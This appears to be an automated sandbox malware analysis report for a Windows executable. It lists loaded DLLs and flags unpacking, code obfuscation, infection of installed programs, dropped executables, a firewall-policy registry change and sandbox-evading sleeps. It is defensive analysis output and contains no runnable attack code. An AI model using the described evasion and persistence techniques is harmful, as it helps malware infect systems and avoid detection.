Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: ntmarta.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: uxtheme.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: urlmon.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: srvcli.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: netutils.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d3d11.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: quickactionsdatamodel.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d3d10warp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dxcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d2d1.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: mrmcorer.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.storage.applicationdata.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.storage.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wldp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dwrite.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: profapi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: languageoverlayutil.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: bcp47mrm.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: textshaping.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: rmclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: uiamanager.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.core.textinput.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dataexchange.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: cryptbase.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.globalization.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.globalization.fontgroups.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: fontgroupsoverride.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: directmanipulation.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: notificationcontrollerps.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: powrprof.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: umpdc.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.xaml.controls.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.applicationmodel.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.graphics.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: audioses.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: mmdevapi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: devobj.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: usermgrproxy.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: avrt.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: userenv.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: sspicli.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.web.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: logoncli.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windowscodecs.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: threadpoolwinrt.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dwmapi.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: wldp.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: structuredquery.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: propsys.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: windows.storage.search.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: edputil.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\explorer.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe Section loaded: msvcp140.dll
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: dxcore.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4657278A-411B-11d2-839A-00C04FD918D0}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File written: C:\Windows\system.ini Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static file information: File size 1233920 > 1048576
Source: Binary string: D:\a\_work\e\src\out\Release_x64\initialexe\msedge.exe.pdb source: msedge.exe.6.dr
Source: Binary string: y.pdb source: SearchApp.exe, 0000001F.00000000.1605415996.000001D62E0C2000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\e\src\out\Release_x64\initialexe\msedge.exe.pdbOGP source: msedge.exe.6.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Unpacked PE file: 9.2.YMZwp.exe.b30000.1.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042B220 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,LoadTypeLib,LoadTypeLib,RegisterTypeLib,UnRegisterTypeLib, 6_2_0042B220
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: cu
PE file contains sections with non-standard names
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static PE information: section name: cu
Source: YMZwp.exe.6.dr Static PE information: section name: .aspack
Source: YMZwp.exe.6.dr Static PE information: section name: .adata
Source: msedge.exe.6.dr Static PE information: section name: .00cfg
Source: msedge.exe.6.dr Static PE information: section name: .gxfg
Source: msedge.exe.6.dr Static PE information: section name: .retplne
Source: msedge.exe.6.dr Static PE information: section name: CPADinfo
Source: msedge.exe.6.dr Static PE information: section name: LZMADEC
Source: msedge.exe.6.dr Static PE information: section name: _RDATA
Source: msedge.exe.6.dr Static PE information: section name: malloc_h
Source: MyProg.exe.9.dr Static PE information: section name: PELIB
Source: MyProg.exe.9.dr Static PE information: section name: Y|uR
Source: SciTE.exe.9.dr Static PE information: section name: u
Source: Uninstall.exe.9.dr Static PE information: section name: EpNuZ
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004AB680 push eax; ret 6_2_004AB6AE
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004ADD18 push eax; ret 6_2_004ADD36
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_02433600 push eax; ret 6_2_0243362E
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242072E push eax; iretd 6_2_0242072F
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B31638 push dword ptr [00B33084h]; ret 9_2_00B3170E
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B36014 push 00B314E1h; ret 9_2_00B36425
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B32D9B push ecx; ret 9_2_00B32DAB
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B3600A push ebp; ret 9_2_00B3600D
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static PE information: section name: .rsrc entropy: 7.708524676179253
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static PE information: section name: cu entropy: 7.774178931521131
Source: lwkdr.exe.6.dr Static PE information: section name: .text entropy: 7.989262346851243
Source: YMZwp.exe.6.dr Static PE information: section name: .text entropy: 7.81169422100848
Source: winxmkqo.exe.6.dr Static PE information: section name: .text entropy: 7.989262346851243
Source: MyProg.exe.9.dr Static PE information: section name: Y|uR entropy: 6.9349017570106675
Source: SciTE.exe.9.dr Static PE information: section name: u entropy: 6.934592345984145
Source: Uninstall.exe.9.dr Static PE information: section name: EpNuZ entropy: 6.934553645927102
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1

Persistence and Installation Behavior
barindex
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File created: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\Users\user\AppData\Local\Temp\winxmkqo.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\lwkdr.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\Users\user\AppData\Local\Temp\YMZwp.exe Jump to dropped file
Modifies existing windows services
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
May modify the system service descriptor table (often done to hook functions)
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: KeServiceDescriptorTable
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 799
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004292C0 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus, 6_2_004292C0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042E740 DestroyCursor,IsWindowVisible,IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMenu,DeleteMenu,GetSystemMenu, 6_2_0042E740
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00432B10 IsIconic,IsZoomed,LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,SystemParametersInfoA,IsWindow,ShowWindow, 6_2_00432B10
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004A9CB0 IsIconic,GetWindowPlacement,GetWindowRect, 6_2_004A9CB0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042EE10 IsIconic, 6_2_0042EE10
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cscript.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: SearchApp.exe, 0000001F.00000000.1628661108.000001D6328A7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE
Source: SearchApp.exe, 0000001F.00000000.1628661108.000001D6328A7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE{6D809377-6AF0-444B-8957-A3773F02200E}\UNITY\EDITOR\UNITY.EXE
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 300000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 360000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 2100000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 900000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Window / User API: threadDelayed 1401 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Window / User API: threadDelayed 4895 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Window / User API: foregroundWindowGot 573 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Window / User API: foregroundWindowGot 575 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 883
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 869
Source: C:\Windows\SysWOW64\cscript.exe Window / User API: threadDelayed 9994
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\winxmkqo.exe Jump to dropped file
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Dropped PE file which has not been started: C:\lwkdr.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Found evasive API chain (date check)
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Found evasive API chain checking for process token information
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7304 Thread sleep time: -717312s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7376 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7384 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7408 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7624 Thread sleep time: -440000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7400 Thread sleep time: -80000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7608 Thread sleep time: -220000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7608 Thread sleep time: -49000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7612 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7612 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe TID: 7384 Thread sleep time: -18900000s >= -30000s Jump to behavior
